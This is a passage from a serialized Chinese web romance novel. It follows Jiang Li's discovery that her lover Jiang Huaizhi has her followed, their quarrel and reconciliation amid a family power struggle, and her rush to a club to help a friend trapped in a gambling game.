姜梨刚进校门口就看到了站在那像是在等人的陆临,路过的学生已经有人认出他了,一阵唏嘘,却没有人敢上前搭话。 “梨……”他余光扫了一眼来往的人群,紧急转了个弯,喊了她一声:“姜梨。” 那段mv在全樱洲播放了好几天,学校里的人已经都认识她了,陆临这么一喊不少人都朝他们看了过来,走路的速度都慢了下来。 南诗奕的事情过后,陆临没有再找过她,姜梨踌躇了一下,然后走过去,小声道:“你有事的话可以给我发微信说,不然我要是不在学校怎么办?被人看到也不太好,会说我傍大款。” 陆临无所谓的笑了笑,“你哥以前跟陆氏有过合作,你认识我也不稀奇。” 他顿了一下,表情突然变得有些阴戾,“要是真有不怕死的人敢说三到四,我撕烂他们的嘴。” 前几次相处的太融洽,差点忘记陆临本身就是个不好惹的主了。姜梨“啧”了一声,干脆大大方方的站在这跟他闲聊。 “喂。”陆临直奔主题,眼皮微垂着看她,声音压低,“你难道就一点都没有察觉到,有人一直都在跟踪你吗? “我今天刚回国,刚好路过这片区域,发现一直有一个男的跟着你。” 姜梨的表情一僵,后背窜上来一股凉意,头皮都有些发麻。 有人派人跟踪她?是沈叙吗?还是沈月汐和楚云? 陆临看她紧绷起来的样子,笑了笑:“我刚刚观察了一下,他只是单纯的在跟踪你、保护你,看不出来你喜欢的那个哥哥还挺专制独裁啊?” 是江淮之?他找人跟踪她?! 这让姜梨更加不安,双唇都在轻微的颤抖。 江淮之从来没有跟她说过这个,他为什么一声不吭的要派人跟踪她?他是从什么时候派人跟着她的?那她这段时间做的这些小动作……他是不是已经都知道了? 姜梨吞咽了一下喉咙,艰难的开口:“你没有看错吧?” 陆临淡定的摸出手机,找到自己刚刚拍下来的视频,屏幕反扣面向姜梨。 视频是在车上拍的,放大了好几倍,稍微有些模糊。但是还是能清楚的看到距离姜梨十米远的距离,跟着一个男人。 男人的身材高大,戴着一顶鸭舌帽,帽檐压的极低,看不到脸。他步调散漫,也没有一直刻意的盯着姜梨,有点像游手好闲的纨绔子弟。 难怪她没有发现,这样的距离,这样闲散的姿态,就算是姜梨看到了,也只会把他当成路人。 视频只有短短的几十秒,陆临后来跟了一段距离,但是车流拥挤,那人大概也是怕被发现,走路绕来绕去的,没跟一会就跟丢了。 陆临还特意在学校附近逛了一圈,都没发现这个人。 “没想到你这恋爱脑哥哥人还怪好的,居然能分出多余的心思管你的死活。”陆临把手机收了回来,还不忘吐槽一句:“司家和他自己的丑闻都满天飞了,他不回北城主持大局,在这儿跟初恋情人你侬我侬。昨晚他人不在,还要托陆七大半夜的去帮他送礼哄女人高兴。” “他身边的人都被以前拥护司南衍的那一派老董踢出总公司了,估计接下来就是要卸掉他司家家主的身份,让司南衍上位了。” 江淮之的能力和人脉关系都是有目共睹的,司南衍在江淮之面前算什么东西?!这群老东西老眼昏花了吗? “要说丑闻那也是司家的丑闻,南诗奕是司承德和司老爷子害死的,贩毒也是司承德和司承曜干的,司承德为了一己私欲抛妻弃子,这些跟江淮之有什么关系?说他没有尽到家主的职责,在最后江淮之不也照样尽力保住了司家的名声吗?他们真的以为警方的公告是随随便便就能出的吗?这群人,简直就是脑子有问题。” 陆临扬了扬眉毛,“梨妹妹,你是不是没看新闻?” 新闻……她的确还没有看手机。 本小章还未完,请点击下一页继续阅读后面精彩内容!看她一脸迷茫,陆临才慢悠悠的开口:“司家这三个人纵然有罪,但是江淮之是司家家主,是长子、长孙,他甚至可以不让亲爷爷和亲爹入祖坟,但是他不该让他们尸骨无存。” 姜梨消化了一下,沉默了好半天,才淡淡的开口:“因为司承德和司承曜,江淮之从小就没有父爱和母爱,明明是司家名正言顺的长子,还要背上私生子的骂名,甚至在后来还想要对他赶尽杀绝。不过就是挫骨扬灰而已,怎么就不应该了?” 挫骨扬灰,而已。 陆临眉心一跳,的确是话糙理不糙,但是这也太糙了。姜梨居然一点惊诧的感觉都没有,说得跟吃饭睡觉一样正常。 姜梨停顿了一下,然后冷笑了一声,“如果换成是我,我就直接把他们活活丢进火里,让他们眼睁睁的看着自己被烧成一具焦尸,江淮之还是太仁慈。” 陆临一开始还想解释说江淮之是把司承德的尸体扔进狼群里分食了,比挫骨扬灰变态多了。但是听完姜梨说的话,他无奈的摇了摇头。 姜梨也不比江淮之好得到哪里去,也是个变态。也不知道姜祈安这样的人,是怎么把这两个人教成这样的? 一个比一个黑。 “我跟陆七聊的时候也觉得没什么不应该,但是司氏现在确实都对江淮之不满,这只是众多借口里的一个而已,司南衍早就觊觎家主之位很久了,他自然不会放过这个机会。”陆临懒懒的掀起眼皮,想到什么,话锋一转,对她说:“我已经把阿南姐送到了陆璟身边,就在冰岛。” 说着他顿了一下,看着姜梨的眼神深了一些,“你要是想去看她,或者是不想再待在江淮之身边被监视,可以随时来找我。” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第128章 会因为这个离开我吗 怪不得好几天都没看到陆临,原来是去做这件事了。 姜梨眼睛闪了闪,轻轻的“嗯”了一声。陆家也不太平,陆临不能在外面多留,打了声招呼便离开了。 回到宿舍,许雾没有在,姜梨开始收拾要带回去的东西,下个学期她估计是没办法回樱大了,书籍什么的无所谓,但是私人物品要提前带走。 打开密码箱,在层层叠叠的衣服之下拿出来一把短剑。这是纪繁星亲手打造出来送给她的,刀镡很特别,形状是樱花。 是根据纪繁星自己手里有的那一把一比一复刻出来的。刀刃泛着冷光,锋利无比,刀柄也是银色,用起来极为顺手。 姜梨合上刀鞘,把它放到了书包内里的夹层里面,收了几本复习要用的书,又丢了几件小东西,其他的就没有要带的了。 想到陆临刚刚说的那些,姜梨检查完电脑以后就开始翻看新闻。 “司家贩毒,司南赫当场射杀亲生父亲” “北城太子爷继弑母之后梅开二度,将生父尸体扔入狼群” “北城太子爷涉嫌谋杀亲爷爷,警方已经介入调查” “农夫与蛇,江淮之忘恩负义” “第一豪门内斗精彩连连,司家即将易主” 几条词条前面都有一个“爆”字,热度居高不下。其他的姜梨都只当是在放屁,但是关于死老头的死,姜梨看的是胆战心惊。 难怪他今天很早就走了,应该是去处理这种事了。 姜梨忙不迭的摸出手机给江淮之发了条微信,问他现在是回北城了还是在樱洲的分公司? 江淮之回得很快:“在你学校门口,接你回家。” 嗯?还有空接她回家?这些事情他已经处理好了吗? 姜梨赶紧把电脑收进书包里,抱着书桌上剩下的几本书夺门而出,快速的“哒哒哒”跑下楼。 “啊——” 刚走到一楼大厅,一个人就狠狠撞上了姜梨的肩膀,力道大的让她止不住的后退了好几步,手里的书也掉在了地上。 “哟,我当是谁呢?原来是姜二小姐。”声音半生半熟,语气尖酸刻薄,“你家里是死人了吗让你这么着急忙慌的?你眼睛瞎了啊!” 好一个恶人先告状。 姜梨眉心一皱,抬起眼皮朝着她看过去,然后二话不说,一把扯住了季浅的头发,“路这么宽你不走,非要朝我身上撞。你是给你爹买意外险了吗?故意要撞死你爹拿赔偿金发家致富?” 她没有收力,季浅痛的尖叫了一声,伸手想去挠姜梨,换来的是她更大力的揪扯。 季浅痛的漫出来一层眼泪,声音尖锐刺耳:“姜梨!你疯了吗!” 这个时间出入宿舍的人不多,现在也就只有她们两个人而已,但是季浅的声音太大,保不齐一会就会引来一堆人观望。 姜梨忙着去找江淮之,没有闲工夫花在这种事情上,于是松开了她头发,同时又重重的推了她一把,让她也踉跄着后退了好几步。 眼神瞥了一眼地上的书,语气平淡:“捡起来。” “明……” 季浅狠狠瞪着她还想要说什么,姜梨却没有给她废话的机会,“不捡起来我就要抽你了,长舌妇。” 明明姜梨脸上的表情一直都是淡淡的,语气也没有怒意,但是季浅还是没由来的有点发怵。头皮传来的痛感也让季浅不敢造次,不情不愿的弯腰把地上的书捡起来,还给了姜梨。 待姜梨走远,季浅看着她的背影骂骂咧咧:“平时装的一副清纯无辜的样子,背地里暴戾又乖张。有一个弑母杀父、谋杀亲爷爷的养兄,也难怪你表里不一……一家子坏种!” 走在前面的姜梨脚步微微一顿,眼里划过一丝戾气。 开车的人是谢铭,江淮之靠着椅背,正在闭目养神。 姜梨拉开车门发现他没有反应,以为他睡着了,于是动作不禁放轻了许多,抱着书安安静静的不出声。 眼睛却时不时的偷偷看他。 江淮之闭着眼睛睡觉的时候,可能是少了他那双微带着笑意的眼睛,凌厉的五官都凸显了出来,很有攻击性。 好凶,给人一种生人勿近的感觉。 男人低沉的声音冷不丁的响起,“好看吗?” 姜梨下意识回答:“好看。” “那离这么远干什么?”江淮之掀开眼皮,姜梨还没有反应过来,他就伸手抓住她的胳膊将她拽到了自己身边,大腿相贴,“怕我?” 江淮之说过很多次这种话,他怎么老觉得她会怕他? 姜梨抱着书的手捏紧,跟他解释:“我是怕吵到你,不是怕你。” 她低头看了一眼他的手,那枚一直戴在他手上的,司家传下来的玉扳指已经不见了。 陆临说的是真的,新闻也不假,司家真的要把江淮之拉下来。 他们是疯了吧?司氏当年并不景气,要不是江淮之,早就完蛋了。 新闻上怎么说的?说江淮之忘恩负义?这他妈到底是谁在忘恩负义?! 江淮之注意到她的表情,声线平淡:“看到新闻了?” “嗯。”姜梨点点头,好看的眉毛紧皱,满脸都写着担忧两个字,“所以司家现在的老大真的是司南衍吗?你就这样给他了?” “我现在不是司家家主了。”江淮之捏住她的下巴,眼神略带审视的看着她的眼睛,“所以,你要离开我吗?” 怎么又说到这个了? 因为江淮之派人跟踪她的事情,很容易会影响到姜梨的判断。她现在也看不清楚,江淮之到底是在试探她,还是他真的已经知道了什么,想让她亲口承认。 不对,他不知道的,昨天他们都还是好好的,还跟她求了婚。 他不会知道的。 而且,他说的这是什么混账话?什么叫他不是司家家主了,她就要离开他? 姜梨刚想清楚,就感觉捏着下巴的那个力道加重了不少,江淮之的声音敲打着她的耳膜,“姜梨,回答我。” 她就这样静静地看着他,突然她毫无预兆的把书放到膝盖上,抓起他的手腕就咬了上去。 姜梨咬的很重,几乎是用了全力,江淮之疼的咬紧了后槽牙,没吭声。 浓烈的血腥味在口腔里蔓延,姜梨还是觉得不解气,狠狠的磨了一下,她就是要他疼! “江淮之,你觉得我会因为你没钱没权势就离开你吗?你觉得我是这种人?” “你混蛋!” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第129章 江淮之好娇啊 腕骨内侧多了一圈深深的牙印,每一道印记都已经破皮,不断地往外冒着血丝,一眼看过去有些吓人。 姜梨的唇瓣上都蹭到了一点江淮之的血,她看着他的手腕,眼圈红了一下。 她好像,是有点用力过头了。 江淮之听到她的话,有些懊恼。看到她眼眶有些发红,更是有些心烦气躁。 她在其他男人面前,明显要比在他面前活泼多了。 比如叶辞,比如谢鹤扬,再比如陆临。 姜梨有事只会找他们帮忙,还会对他们笑,眼睛弯成一对月牙,很好看。 自从洛骞跟他说姜梨一定会离开他这种话以后,他就开始不对劲了,心里是前所未有的不安。明明姜梨现在就在他身边待着,他还是总觉得她会走。 “你刚刚,在学校门口跟陆临说什么了?”江淮之没有去管手上的伤口,漆黑的眸子沉沉的看着她,脸上蒙着一层阴郁。 他看到了?他刚刚一直都在校门口? 所以他根本不是在闭目养神,是心情不好?就因为她跟陆临在校门口聊了一会? 然后他才会突然蹦出来那样一句话。 在背后偷偷找人监视她,现在她连跟别人说几句话都不可以了? 江淮之这是什么毛病。 姜梨的眉毛不着痕迹的皱了一下,不轻不重地甩开他的手,真假掺半道:“说了司南衍要夺权的事情,还说了南诗奕现在被送到了冰岛,这是他来找我的主要目的。” 江淮之没有信,几近执拗的继续问她:“这种事情他完全可以发信息跟你说,为什么要特意来学校找你?这两件事情应该没什么笑点,他还说了什么能让你对他笑?” “人家跟我说再见我难不成要哭丧着脸吗?我笑一笑怎么了?这有什么问题吗?”姜梨语气很平和,脸上还挂着一抹恬淡的笑,但是笑意却没有到达眼底。 她在生气。 江淮之看了一眼她抱着的书,又扫了一眼放在一边的书包,身体顿了顿。 还在上学的姜梨没有问题,有问题的是他,是他不对劲。 “对不起,是我太过激了。”江淮之的神情和语气都柔和下来,伸出手想去摸摸她,被姜梨躲开了。 她抱着书娜了一下位置,挨着她的书包坐,还把中间的扶手放了下来,和江淮之隔开。 不想理他。 “你闭嘴。”在江淮之开口之前,姜梨扭头轻飘飘的看了他一眼,吐出来两个字:“聒噪。” 江淮之:“………” 前面开车的谢铭:“………” 果然还得是少夫人,敢让江淮之闭嘴的第一人,也是嫌弃他聒噪的第一人。 路过一家药店的时候,姜梨喊了停车。 谢铭听江淮之的,江淮之听姜梨的,同等换算,姜梨是老大。 于是他不再像之前那样要去看江淮之的意思,直接将车停在了路边。 她下车,江淮之也跟着下车。看她进了药店,他在门口停了一下,没进去。 “创口贴,双氧水和碘……”姜梨扫了一眼外面站着的男人,冷哼了一声,“酒精。” 走出药店,姜梨把装着药的塑料袋塞给了江淮之,一声不吭的上车,全程都没有给他一个多余的眼神。 “我不会,你帮我。”江淮之坐上车,看了一眼药袋子,又去看姜梨,有些……无措。 姜梨不为所动,“那就这样。” 半晌,江淮之才“哦”了一声,眼皮微垂,长长的睫毛在眼下落下一层阴影,声音低低的有些沉闷:“可是我好疼。” ?? 姜梨扭头看他,喉咙哽了一下。 男人脸上明明没什么表情,但是低眉顺眼的模样有些可怜兮兮的。尤其是他色相极佳,这么一眼看过去,跟一朵娇花似的。 前面的谢铭也是嘴角抽搐了一下,被刀划伤的时候也不见得您疼啊。 江淮之吸了一下鼻子,语气失落:“你都不管我。” 姜梨眼皮狠狠跳了一下,最终还是把塑料袋拎了过来,帮他处理伤口,但是依旧坚守底线,没有跟他说话。 —— 回到公寓,姜梨就去弄花了,让季妍帮忙找出来好多个夹子,晾起来晒干。 撕下来一张便签,姜梨在上面写了自己需要用的东西,想了想,又写了几样自己想吃的东西,让季妍一起买回来。 江淮之看了一眼,指了一下她写的最后一条,“奶茶不可以,芒果西米露也不行。” 姜梨瞪他:“我正常社交你要管,还说什么你没权势了我就要离开你的话,现在我吃东西你也管着不让我碰。江淮之,你好烦啊。” 专制独裁的老男人。 江淮之把便签还给季妍,说了一句:“芒果西米露换成草莓蛋糕。” 季妍接过便签纸,笑着应了一声。 偌大的公寓又只剩下姜梨和江淮之两个人,画面就演变成了姜梨走到哪,江淮之就跟到哪,就连去卫生间,他都要站在门口。 活脱脱的一个巨型挂件。 姜梨也不乱窜了,抱着小野坐在沙发上用ipad追剧。江淮之照样坐在她旁边,跟她一起看。 看到一半的时候,顶部弹出来一条微信,姜梨看到的第一秒就顺手点了进去,弹出来的消息框是许雾的。 她发了一条链接过来,后面还加了一句:推荐你和你那个极品男朋友一起看。 许雾爱看恐怖片她是知道的,下意识认为这也是她从哪找到的鬼片,姜梨并不害怕鬼片电影,没有多想就点了进去。 画面还没有加载出来,不可描述的喘息声就先飘了出来。 姜梨吓得赶紧退了出去,一张脸烧了起来,染上了一层薄红,手上的力道也下意识收紧了一些,惹得小野不满的叫了好几声。 许雾那边还在连环轰炸:“就是说,如果你跟他一起看完了这个,他还是没点反应的话,我就建议你可以换个男人了。” “就是说再极品的男人,那个方面不行的话也很致命啊姐妹,咱真的没必要吃这个苦。” 消息滴滴答答响个不停,旁边还有一道视线紧紧盯着她,姜梨真是想死的心都有了,赶紧按了一下开关键,然后屏幕朝下反扣在桌面上。 不知道过了多久,姜梨才听到江淮之的声音。 “你同学给的那个,尺码不对。” “太小了。” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第130章 宋折跟你去 江淮之说完这句话以后,姜梨就彻底不搭理他了。 季妍回来了,姜梨把滴胶和紫外线光照灯这些东西收进了自己的卧室里,卧室门是虚掩的,江淮之没有跟进来,跟刚才一样站在门外。 姜梨背对着他,捞过书包从里面抽出来那把短剑,然后放进了密码箱里。 抱着几本书和电脑出去。 元旦假期过后就差不多要期末考了,她不能挂科,遇到不会的她就直接发信息问叶辞。 终于,在姜梨第三次给叶辞发信息的时候,同样在一边坐着处理工作的江淮之一把摁住了她的手。 姜梨咬着吸管,抬头不满的瞪他。 江淮之:“二梨,我大学也是金融系的,成绩挺好的。” 他能提前修满学分,提前毕业,姜梨当然知道他很厉害,但是就是不想理他。 姜梨口齿有些不太清晰,说出来的话却是极致的阴阳怪气:“你都不是司家家主了我还问你干嘛?我肯定是更愿意去问叶辞的,叶家二少爷比较有品,你没品。” “我没有想要干扰你正常社交,那句话也不是讽刺你,今天是我不好。” 江淮之沉默了一会,他捏住她的手腕抬起来,让她的手掌贴在自己的胸口上,“前几天谢鹤枭跟我说你很快就会是他们家的人了,谢鹤扬也不止一次明里暗里的跟我表示想要娶你,他很喜欢你。” “你跟我在一起的时候会跟我拉开好远的距离,你怕我。但是不管是叶辞还是谢鹤扬,或者是陆临,你跟他们待在一起的时候会更活泼、更亲近一点,也会更信任他们一点。这让我很不安。” “这种不安,在谢鹤枭说完那句话以后就达到了顶峰,在看到你今天对陆临笑的时候,已经突破了临界点。” 江淮之乌黑的眼眸直勾勾的看着她,有些黯然,“比起我你更愿意相信别的男人,也会更喜欢他们,你会离开我。” 什么跟什么?是个人都能看得出来她喜欢的是江淮之,怎么到他这里就是喜欢别人了? 贴在他胸口的手掌能感受到他心脏跳动的频率,的确有些快、有些紊乱。 姜梨抿了抿嘴唇,组织好语言,认真的跟他解释:“女孩子喜欢一个人的话就是会很容易紧张,就是不敢离得太近。而且我今天的确以为你是睡着了,我没有想别的,也不是怕你,我就是不想吵到你。” “而且我会跟你生气、耍脾气,不高兴了就挂脸,想让你哄哄我,还会跟你撒娇耍赖,我对别人也不会这样啊,这难道不是喜欢吗?” 以前她只觉得江淮之温驯有礼,隐忍强大。直到这两天她才发现他藏在骨子里的偏执和极端,甚至还有些敏感脆弱,心口不免有些发疼。 抛妻弃子、想要将他赶尽杀绝的爸,堕落可怜不疼爱他的妈,根本没有人去教江淮之辨别什么才是喜欢。 姜梨又一字一顿道:“可我想亲你,尤其是懂这个情感叫喜欢以后,越看越想亲……” 她声音戛然而止,江淮之等不到她说完,就按着她的后脑勺吻上去。 姜梨有些猝不及防,脑袋和身体都止不住的后仰,倒在了沙发上。 江淮之强势的掠走她的呼吸,汲取她口腔里的甜味,眼睛都有些隐隐发红。他亲的又急又狠,姜梨有点招架不住,手掌推了推他的肩膀,撇头躲开,喘气。 他的唇形其实很好看,薄但是很软,现在像是抹了口红一样娇艳。 原来黑发红唇不止可以用来形容女人,还可以体现在一个男人身上。 “嗯?你不是想亲吗?”江淮之垂下眸子,纤长的睫毛轻颤,肤色雪白,眼尾和嘴唇被凸显的更艳丽,声音像是摩擦的砂纸,有种致命的诱惑感。 “喘不上气。”姜梨抓了一下沙发垫,根本不敢看江淮之。 他的那双眼睛会吸人,每次都能让她止不住的脸红心跳,心甘情愿的沉沦在那场漩涡里,无法自拔。 江淮之没有继续折腾她,把她从沙发上拉起来坐好,“哪里不会,我教你。” 就这样了吗?姜梨都准备好他会继续下去了,结果他还惦记着教她做题这件事。 她被他搞得哪里都热热的,耳朵也烫。反观江淮之,收放自如,淡定的很。 有一种她有点欲求不满的感觉。 江淮之以为她还在生气,捏着她的手,亲了一下她的手背,声音放低喊她:“二梨,妹妹,宝宝,宝贝儿,老婆,不气了好不好?” 每一个称呼都被他喊了一遍,还喊她……老婆。姜梨的耳朵红的更厉害,连耳根都是一阵酥麻感,身上起了一层细密的鸡皮疙瘩。 姜梨吞咽了一下喉咙,回答他:“没有生气,这里不会。” 江淮之真的在好好教她做题,声音低哑好听,堪比催眠曲。 眼神微动,姜梨看他已经彻底放下了猜疑,觉得时机成熟了,小声说:“我们学校今年八号就放假了。” “嗯,我知道。” 姜梨轻咬了一下舌尖,继续开口:“我答应了纪繁星一件事情,所以九号就要去港城。” 江淮之神色不变,只是敲击电脑键盘的手停顿了一下,然后又嗯了一声。 空气有些冷凝,姜梨有点摸不准他的心思,他这到底是直接同意让她去了吗?还是别的什么意思? 姜梨还在想要怎么继续开口,江淮之的身体就贴了过来,下巴靠在她的肩头,呼吸灼热,“你很乖,我不会锁着你。我一月份确实有事情要忙,我会派个人跟着你去保护你的安全。” “是谢铭吗?”姜梨下意识就问。 “你想带谢铭吗?” 那必然是不想。如果是其他人的话,她要做什么事情还能耍点小手段,但是谢铭的话姜梨心里没底。 贴身跟在江淮之身边的没有废物。 “谢秘书还是不了吧,怪惹人注意的。”姜梨胡乱扯了一个理由搪塞,小声嘟囔了一句:“也可以不让人跟着的,又不是三岁小孩。” 她不是三岁小孩,但是比三岁小孩还要能闹腾,一个没看好就要出点事。 “我让宋折跟你去,他跟陆七一样,都是以前跟我在江城认识的,没什么人认识他。” 姜梨去港城也好,正好可以躲开沈叙这档子事。宋折跟着她,港城还有韩家在,都会保护好她。 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第131章 恶劣 “到了港城我会让他把你送到幽谷居,不用住谢家安排的酒店。” 姜梨知道幽谷居,在维港那一片。 她看向江淮之,有些错愕:“你又不在港城,怎么在那里买房?” 现在的这个姿势离得特别近,近到江淮之可以看到她脸上细小的绒毛。他的眼神微暗,“你上次说过要回港城,给你买的。而且那里气候好,没有樱洲和北城这么冷,我也会去。” 给她买的?!姜梨眼睛睁大,像一头受惊的小鹿。 江淮之去过港城两次。 一次是小时候跟他妈去的,待了几个月。日子过得艰难,他的一颗心都是凉的,哪里还会去管那里的气温是冷是暖? 一次是两年前去的,也只待了几天而已,也没那个闲工夫去感受港城的冷暖。 现在他说的这句话,是姜梨说过的。 她说喜欢那里的气候,但是不喜欢地方,是因为看不到他,所以他说他以后会去。 姜梨是喜欢港城的。 “卡给你了,你一分都没刷过。但是又很乐意为了钱去帮别人干苦力,再让你去住谢家安排的酒店,我怕谢鹤枭又来我面前挑衅,说我的妹妹缺钱,说我养不起你。” 当初就该把那份合同撕掉! 司氏现在是司南衍的,等同于帮别人做了嫁衣。谢鹤枭还总是有意无意的跟江淮之说些有的没的,让江淮之起了疑心才会找人跟踪她。 姜梨现在百分百确定,那个跟踪她的人,是江淮之最近才安排的。 刚刚一直悬着的心落进了肚子里,她毫不在意的说道:“我自己有干嘛要刷你的?而且纪繁星都亲自来求我了,我就想帮帮她,但是也不想白帮,就问她要了钱。” “谁会嫌钱多啊?就算是我身价有几千亿我也还是爱钱。” 江淮之无声的笑了一下,亲了一下她的脸颊,“财迷。” 算了,姜梨对朋友一直都很仗义,那块表的去向现在也不重要了。 她人是他的就够了,其他的都随她高兴。 “新闻上说警方介入调查了,你处理好了吗?”姜梨又看了一眼他空荡荡的手指,眉心微微皱了一下,“司家你就这样送给司南衍是不是太便宜他了?” “老头的死本来就是意外,有什么好查的?”江淮之也没必要瞒她,直接说:“司家现在也不是司南衍的,是司南赫。” 姜梨又迷茫了,这有什么区别吗?还不是拱手让给别人了? “我早就跟他说好了,他帮我报仇,我到时候就把司氏还给他,但是司家大部分股权还是在我这里。司承德和司承曜贩毒的事情我并不知情,如果没有司南赫,我还要跟他们周旋。”江淮之简单跟她解释了一通,然后挑眉,“而且没有家主这个身份的束缚不是很好么?我可以天天跟你在一起。” 姜梨当然知道江淮之这是简化了,中间那些污糟事他不会告诉她,只要不牵扯到他,怎么样都好。 司南衍野心勃勃,司南赫也绝对不会把吃进嘴里的肉给吐出来。司南赫能不能坐的稳这个位置,还是个未知数。 姜梨是最喜欢看好戏的,尤其是豪门内斗的这种大戏。复杂、狗血,但是出奇的好看,就算是拍成电视剧,受众群体也是一大波。 晚饭之后姜梨抱着猫下楼溜了一圈,回来的时候江淮之还在书房。 都不用再管司家了,也不知道他天天在忙些什么,每晚都要在书房里待好久。 她洗漱了一下,给膝盖重新换了膏药,然后跑到江淮之的房间里,轻车熟路的爬进他的被窝里。 等江淮之洗完澡再进来时,打开灯看到床上拱起来的小山丘时愣了一下。反应过来,提步走到床边掀开被子,把她密闭的被窝里“拯救”出来。 姜梨没有睡着,脸被捂的红扑扑的,像打了一层薄薄的淡粉色腮红,一双桃花眼波光流转,像一把弯钩,轻易勾走他的魂魄。 “不怕把自己给憋坏了?”江淮之把她拎起来,让她坐在床上,有一下没一下的整理她散乱的黑发,似是漫不经心的问:“药吃了吗?” “眼药水滴了,膏药换了,药油也擦了。” 在江淮之刚要开口的时候,姜梨知道他要说什么,直起身体,两条胳膊抱住了他精瘦的腰身,声音又细又软,“跟你睡我能睡着的,你的药效比那些要好,还没有副作用。” 他穿的睡袍,腰间系着一根带子,身上沾了一些水汽,有些潮热。 江淮之黑沉沉的眸子染了一层欲念,喉结上下滚了滚,声音如同被砂纸磨擦过,有些粗砺,“腰带,解开。” 姜梨先是看了眼他腰间的带子,又仰头看向他,疑惑不解的“啊?”了一声。 “你不是要跟我睡?”江淮之捏了捏她的脸,笑的有点恶劣,话说得很直白:“不脱怎么睡?” 她说的睡不是那种睡!姜梨全身的温度都因为他这句话直线飙升,直冲大脑,眼睛里都蒙上了一层水雾,“我说的睡是素的!素的!你脑子里在想些什么乱七八糟的东西!” 他是怎么毫无波澜的说出这种话的? 这个老男人在后来就跟被打开了什么开关一样,荤话跟不要钱似的往外蹦,跟他那张无欲无求的脸一点都不搭! “我现在不想吃素……”江淮之的话音还没有落下,姜梨也没有反应过来,整个人就已经被他按到了床上。 他捏着她的手腕移到了腰上那根虚虚系着的腰带,带着她轻轻一扯,腰带便散开,露出精壮的胸膛。 轻飘飘的带子和脱下来的睡袍被他随手扔到一边,江淮之凌驾在她身上,压下去亲她。 唇舌相缠,无比清晰的暧昧水声刺激着姜梨的大脑,身体慢慢变得润潮。 姜梨不自觉的轻哼了一声,腿也不自觉的荚紧。 骨子里的恶劣因子躁动不安,江淮之松开她,沉声道:“还没到时候,等会再喊。” 喜欢他来时风起云涌请大家收藏:()他来时风起云涌更新速度全网最快。 第132章 把你的脏手挪开 一向温润如玉的男人在这种事情上异常的霸道野蛮,恨不得要把她揉碎吞进去,恶劣的不行。 前两次她都是迷迷糊糊的,感官没有那么清晰。但是现在她没有睡着,也没有喝酒醉掉,她都感受的清清楚楚。 他的温度。 结束的时候姜梨只觉得自己全身的骨头都被拆过,酸软无力。 一直到江淮之帮她清理干净重新把她塞进被窝里,姜梨的瞳孔都还是失焦的。 她累的一根手指都不想再动,看向已经套上睡袍的江淮之,“我要喝水。” 江淮之的头发捋到了后脑勺,露出来光洁的额头,身上那股子野性还没有褪去。 危险,又迷人。 “药放哪了,我去拿。” 姜梨在心里回答他:在学校的垃圾桶里,现在估计都被收进垃圾站里处理掉了。 “在学校里没有带,我不要吃。”姜梨撇了撇嘴,“我现在很渴,还很困。” 江淮之去了她房间一趟,确定她真的没有把药带过来,才去给她倒了热水,喂她喝。 干涩的喉咙被润开,姜梨才觉得舒服一点。轻轻推开他的手腕,躺下去转身背对着他。 姜梨知道江淮之接下来要跟她讲道理了,她一点也不想听他的教训,说大道理的时候一套一套的,跟洛骞一样,一点都不可爱。 玻璃杯放在床头柜上发出一声轻响,旁边的位置陷了进去,下一秒,江淮之就朝她贴了过来,从后面抱住她。 姜梨呼吸停了一下,身体有点僵硬,下意识就想挣开,江淮之搂得更紧,声音在她头顶响起,“刚刚没爽够吗?还想再来?” 这是什么虎狼之词?! 老变态!烂仔! 气得姜梨又蹬了他好几下,江淮之压住她的腿,轻轻捏了一下她的腰,“睡吧,不碰你。” 姜梨确实被他折腾的又累又困,没几分钟就去找周公了。 …… 三号这天江淮之去了分公司,姜梨一个人待在家里。 她给沈翊发了信息,把江淮之让人跟着她的事情跟他说了一遍,他们两个不能一道去港城了。 “计划还能继续?”沈翊也没说别的,只问了这一个问题。 姜梨深吸了一口气,然后回他:“继续。” 至于那个多出来的尾巴,到时候再想办法甩掉就是了。 交流完,姜梨清掉记录,站起来走到阳台。 前两天的天气都很好,太阳很大,花也晒的差不多了,姜梨就把它们都收了进来,拿出来她托季妍买的滴胶和紫外线光照灯,以及各种其他的工具开始做手工。 下午三点的时候江淮之发了一条信息给她,说他今晚来得晚,不用等他。 姜梨腾出手回了一个“1”,表示自己知道了,就没有再去管。 晚上七点,她刚收掉制造出来的垃圾,就接到了许雾的电话。 电话刚接通,许雾那边哭哭啼啼的声音就从话筒飘了出来,“姜小梨,我和我以前的高中同学在一起,她姐姐就是跟你哥哥传出绯闻的那个女下属,我们现在被那个叫时愿的正牌女友给缠住了,让我们跟一群公子哥赌牌,赢够了钱才让我们走。” “我们哪里是这群人的对手?已经输了几十万了,你现在有空吗?能不能来救救我们?” 许雾虽然在哭,但好在表达能力没有受到影响,姜梨立刻就明白是怎么一回事了。 江淮之的那个助理是舒羽,她的妹妹就是被卖到赌场,然后被江淮之天价赎回来的女孩。 估计是时愿吃醋,又不敢在明面上欺负到舒羽头上,就只能拿她妹妹撒气。 她的眼皮跳了两下,心里忍不住想:这女人居然这么能惹事,到底是怎么跟南诗奕玩到一起的? “地址。” 许雾抽抽嗒嗒回答:“暮色,407。” 怎么又是这个地方? 姜梨来不及去问许雾她怎么会在这种高级会所,出声安慰了几句以后对着季妍打了声招呼,然后风风火火的出了门。 出租车在熟悉的建筑物前停下,姜梨甩了三张红票子,丢下一句:“不用找了。” 火急火燎的进门,乘电梯上了四楼。 暮色的四楼是酒吧,规模比祈愿要大一些,来这里的人非富即贵,消费水平高的离谱。 在纸醉金迷的灯光里,姜梨眯着眼绕了两圈才找到407。她握住门把转了一圈,门没有反锁,直接推门而入。 嬉笑声骤然停住,十几道目光纷纷刺在她身上。 许雾看到姜梨时,立马激动的站起来,却被旁边的一个男人鲁莽的拽了回去。 姜梨看到,眉心微皱。 包厢的白光跟外面五彩斑斓的夜灯形成了强烈的对比,姜梨抬起眼皮,意外的看到了许多张熟悉的面孔。 白天才跟她发过信息的沈翊,跟她有血海深仇的沈叙,两天前在学校门口见过的陆临,以及……毒老大司南泽。 卧槽啊……这他妈是个什么惨绝人寰的酒局?许雾怎么会和那个女孩跑到这里来的? 